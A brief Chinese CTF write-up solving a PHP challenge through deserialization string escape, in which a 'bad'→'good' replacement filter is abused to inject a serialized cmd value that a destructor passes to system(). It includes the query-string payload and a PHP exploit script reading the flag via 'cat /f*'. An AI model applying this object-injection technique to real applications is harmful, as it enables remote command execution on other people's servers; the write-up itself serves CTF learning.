代码审计.
很经典的的一道题，键值对逃逸，改变cmd的value，去获取flag.
而war就是我们的突破点（str_replace("bad","good",$str);）.
开始构造payload
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}为什么这么构造呢？
让我们先来看一下未经过waf过滤后的value.
<?php
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
?>value:
我们只需要把上面的红色部分过滤掉就可以了，而过滤则通过waf来逃逸掉，waf可以把bad变成good，每一个bad就可以过滤一个char，绿色部分就是我们要过滤的数量为27，所以需要27个bad.
看一下过滤后的value.
exp:
<?php
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
?>value:
此时反序列化时，红色部分就会被过滤掉.
获得flag，游戏结束~
